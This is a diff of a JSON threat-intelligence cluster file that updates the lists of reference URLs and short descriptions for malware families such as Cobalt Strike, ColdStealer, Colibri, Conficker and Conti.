"https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/", + "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://videos.didierstevens.com/2022/09/06/an-obfuscated-beacon-extra-xor-layer/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://401trg.com/burning-umbrella/ ", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", + "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://isc.sans.edu/diary/rss/27176", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", + "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://bmcder.com/blog/cobalt-strike-dfir-listening-to-the-pipes", + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://www.youtube.com/watch?v=gfYswA_Ronw", + "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", + "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns", + "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", + "https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/", + "https://www.secureworks.com/research/threat-profiles/gold-dupont", + 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"https://www.youtube.com/watch?v=ysN-MqyIN7M", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://blog.zsec.uk/cobalt-strike-profiles/", + "https://blog.macnica.net/blog/2020/11/dtrack.html", + "https://www.ironnet.com/blog/tracking-cobalt-strike-servers-used-in-cyberattacks-on-ukraine", + "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", + "https://www.cobaltstrike.com/support", + "https://www.youtube.com/watch?v=pIXl79IPkLI", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://medium.com/walmartglobaltech/cobaltstrike-stager-utilizing-floating-point-math-9bc13f9b9718", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://thedfirreport.com/2022/03/07/2021-year-in-review/", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://www.secureworks.com/research/darktortilla-malware-analysis", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://blog.group-ib.com/REvil_RaaS", + "https://thedfirreport.com/2022/01/24/cobalt-strike-a-defenders-guide-part-2/", + "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://bmcder.com/blog/extracting-cobalt-strike-from-windows-error-reporting", + "https://mez0.cc/posts/cobaltstrike-powershell-exec/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", - "https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt" + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/", + "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", + "https://www.contextis.com/en/blog/dll-search-order-hijacking", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://www.trustedsec.com/blog/tailoring-cobalt-strike-on-target/", + "https://blogs.blackberry.com/en/2022/01/log4u-shell4me", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", + "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", + "https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/", + "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/", + "https://medium.com/cycraft/china-linked-threat-group-targets-taiwan-critical-infrastructure-smokescreen-ransomware-c2a155aa53d5", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://teamt5.org/en/posts/hiding-in-plain-sight-obscuring-c2s-by-abusing-cdn-services", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://intel471.com/blog/shipping-companies-ransomware-credentials", + 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"https://www.mandiant.com/resources/evolution-of-fin7", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.advanced-intel.com/post/hunting-for-corporate-insurance-policies-indicators-of-ransom-exfiltrations", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://isc.sans.edu/diary/rss/26862", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://isc.sans.edu/diary/26752", + "https://redcanary.com/blog/grief-ransomware/", + "https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/", + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", + "https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/", + "https://malwarelab.eu/posts/fin6-cobalt-strike/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://asec.ahnlab.com/ko/19640/", + "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-machine-learning-and-277c4c30304f", + "https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.domaintools.com/resources/blog/covid-19-phishing-with-a-side-of-cobalt-strike#", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://www.secureworks.com/blog/detecting-cobalt-strike-government-sponsored-threat-groups", + "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://github.com/dodo-sec/Malware-Analysis/blob/main/Cobalt%20Strike/Indirect%20Syscalls.md", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass/", + "https://www.splunk.com/en_us/blog/security/cloud-federated-credential-abuse-cobalt-strike-threat-research-feb-2021.html", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://blogs.blackberry.com/en/2021/10/blackberry-shines-spotlight-on-evolving-cobalt-strike-threat-in-new-book", + "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/", + "https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emotet-when-project-x-turns-into-y/", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://twitter.com/alex_lanstein/status/1399829754887524354", + "https://blog.group-ib.com/colunmtk_apt41", + "https://www.blackhillsinfosec.com/dns-over-https-for-cobalt-strike/", + "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", + "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", + 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"https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/", + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://attack.mitre.org/groups/G0096", + "https://blog.didierstevens.com/2021/11/03/new-tool-cs-extract-key-py/", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a", + 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "333e2e87-b9b0-4e2e-9ed9-7259c55a93db", "value": "Coinminer" }, @@ -17835,11 +18936,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal", + "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", - "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html", - "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html", "https://www.youtube.com/watch?v=242Tn0IL2jE", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/" + "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html", + "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html" ], "synonyms": [ "ColdSeal" @@ -17850,12 +18951,13 @@ "value": "Cold$eal" }, { - "description": "", + "description": "ColdStealer is a relatively new malicious program that was discovered in 2022. Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. When the infostealer collects information that will be stolen, it saves the information in the ZIP form instead of files in the memory. Doing so will allow the malware to bypass detection as there are no traces of files and execution. The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to the hardcoded command and control (C2) server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer", "https://asec.ahnlab.com/ko/31703/", - "https://asec.ahnlab.com/en/32090/" + "https://asec.ahnlab.com/en/32090/", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/" ], "synonyms": [], "type": [] @@ -17868,10 +18970,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri", + "https://github.com/Casperinous/colibri_loader", "https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://fr3d.hk/blog/colibri-loader-back-to-basics", - "https://github.com/Casperinous/colibri_loader" + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign" ], "synonyms": [], "type": [] @@ -17884,6 +18988,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.collectorgoomba", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", "https://www.vmray.com/cyber-security-blog/cutting-off-command-and-control-infrastructure-collectorgoomba-threat-bulletin/" ], "synonyms": [ @@ -17899,8 +19004,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony", - "https://pastebin.com/GtjBXDmz", "https://twitter.com/anyrun_app/status/976385355384590337", + "https://pastebin.com/GtjBXDmz", "https://secrary.com/ReversingMalware/Colony_Bandios/" ], "synonyms": [ @@ -17935,15 +19040,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "fa38b79c-9774-45a0-831c-24c6c8d39a22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2b71a966-da08-4467-a785-cb6abf2fa65e", "value": "Combos" }, @@ -17953,10 +19049,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker", "https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/", + "https://www.anquanke.com/post/id/230161", "https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/", - "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/", "https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/", - "https://www.anquanke.com/post/id/230161" + "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/" ], "synonyms": [], "type": [] @@ -17991,13 +19087,26 @@ "uuid": "7726de54-95cc-4783-b26f-79882f0f6cba", "value": "ComLook" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic", + "https://securelist.com/bad-magic-apt/109087/?s=31" + ], + "synonyms": [], + "type": [] + }, + "uuid": "600b553b-660b-4bbd-9c5d-4e91af9d276a", + "value": "CommonMagic" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comodosec", - "https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf" + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://techhelplist.com/down/malware-ransom-comodosec-mrcr1.txt" ], "synonyms": [], "type": [] @@ -18010,26 +19119,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun", - "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://securelist.com/compfun-successor-reductor/93633/", "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://securelist.com/compfun-http-status-based-trojan/96874/", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://securelist.com/compfun-successor-reductor/93633/" ], "synonyms": [ "Reductor RAT" ], "type": [] }, - "related": [ - { - "dest-uuid": "b2c2d42b-a6a3-4ab0-a013-eb1c7461aca9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "541d5642-0648-4b5a-97b9-81110f273771", "value": "COMpfun" }, @@ -18038,10 +19138,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace", + "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/", "https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html", "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/" + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [ "lojack" @@ -18083,15 +19183,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker", - "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md", - "https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido--conficker", - "https://www.minitool.com/backup-tips/conficker-worm.html", - "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "http://contagiodump.blogspot.com/2009/05/win32conficker.html", "https://github.com/tillmannw/cnfckr", - "https://redcanary.com/blog/intelligence-insights-january-2022/" + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md", + "https://www.minitool.com/backup-tips/conficker-worm.html", + "http://contagiodump.blogspot.com/2009/05/win32conficker.html", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", + "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", + "https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido--conficker", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf" ], "synonyms": [ "Kido", @@ -18108,10 +19208,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius", - "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", - "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/" + "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/", + "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html" ], "synonyms": [], "type": [] @@ -18124,188 +19224,197 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti", - "https://github.com/TheParmak/conti-leaks-englished", - "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", - "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", - "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackea-rusia_1_8795458.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/", - "https://www.zscaler.com/blogs/security-research/conti-ransomware-attacks-persist-updated-version-despite-leaks", - "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", - "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", - "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://www.mbsd.jp/research/20210413/conti-ransomware/", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", - "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://blog.talosintelligence.com/2022/05/conti-and-hive-ransomware-operations.html", "https://securelist.com/luna-black-basta-ransomware/106950", - "https://twitter.com/TheDFIRReport/status/1498642512935800833", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", - "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.prevailion.com/what-wicked-webs-we-unweave/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://intel471.com/blog/conti-vs-monti-a-reinvention-or-just-a-simple-rebranding", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://marcoramilli.com/2021/11/07/conti-ransomware-cheat-sheet/", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", - "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", + "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", + "https://cocomelonc.github.io/investigation/2022/04/11/malw-inv-conti-2.html", + 